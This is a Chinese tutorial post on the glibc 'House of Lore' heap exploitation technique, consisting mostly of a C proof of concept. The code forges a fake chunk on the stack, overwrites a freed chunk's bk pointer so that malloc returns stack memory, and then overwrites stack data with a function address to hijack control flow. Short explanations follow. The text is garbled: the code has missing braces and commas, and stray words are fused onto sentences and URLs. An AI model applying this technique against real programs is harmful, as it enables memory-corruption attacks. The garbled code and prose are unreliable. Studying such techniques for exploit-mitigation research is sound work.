House Of Lore原理學習


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot()fprintf(stderr"Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr"定義了兩個數組");
  fprintf(stderr"stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr"stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr"申請第一塊屬於 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 開始的位置

  fprintf(stderr"在棧上僞造一塊 fake chunk\n");
  fprintf(stderr"設置 fd 指針指向 victim chunk,來繞過 small bin 的檢查,這樣的話就能把堆棧地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr"設置 stack_buffer_1 的 bk 指針指向 stack_buffer_2,設置 stack_buffer_2 的 fd 指針指向 stack_buffer_1 來繞過最後一個 malloc 中 small bin corrupted, 返回指向棧上假塊的指針");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr"另外再分配一塊,避免與 top chunk 合併 %p\n", p5);

  fprintf(stderr"Free victim chunk %p, 他會被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr"\n此時 victim chunk 的 fd、bk 爲零\n");
  fprintf(stderr"victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr"victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr"這時候去申請一個 chunk,觸發 fastbin 的合併使得 victim 進去 unsortedbin 中處理,最終被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr"如今 victim chunk 的 fd 和 bk 更新爲 unsorted bin 的地址\n");
  fprintf(stderr"victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr"victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr"如今模擬一個能夠覆蓋 victim 的 bk 指針的漏洞,讓他的 bk 指針指向棧上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr"而後申請跟第一個 chunk 大小同樣的 chunk\n");
  fprintf(stderr"他應該會返回 victim chunk 而且它的 bk 爲修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr"最後 malloc 一次會返回 victim->bk 指向的那裏\n");
  char *p4 = malloc(100);
  fprintf(stderr"p4 = malloc(100)\n");

  fprintf(stderr"\n在最後一個 malloc 以後,stack_buffer_2 的 fd 指針已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr"\np4 在棧上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}


intptr_t *victim = malloc(100);linux

首先申請了一個在 fastbin 範圍內的 victim chunk,而後再在棧上構造了一個假的 chunkweb



爲了繞過檢測,設置 stack_buffer_1 的 bk 指針指向 stack_buffer_2,設置 stack_buffer_2 的 fd 指針指向 stack_buffer_1數組



接下來先 malloc 一個防止 free 以後與 top chunk 合併,而後 free 掉 victim,這時候 victim 會被放到 fastbin 中微信



接下來再去 malloc 一個 large chunk,會觸發 fastbin 的合併,而後放到 unsorted bin 中,這樣咱們的 victim chunk 就放到了 unsorted bin 中,而後最終被 unsorted bin 分配到 small bin 中編輯器

參考:url

http://blog.topsec.com.cn/pwn的藝術淺談(二):linux堆相關/spa

https://bbs.pediy.com/thread-257742.htm.net


再把 victim 的 bk 指針改成 stack_buffer_13d



再次去 malloc 會 malloc 到 victim chunk,再一次 malloc 的話就 malloc 到了 0x00007fffffffdcc0指針


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索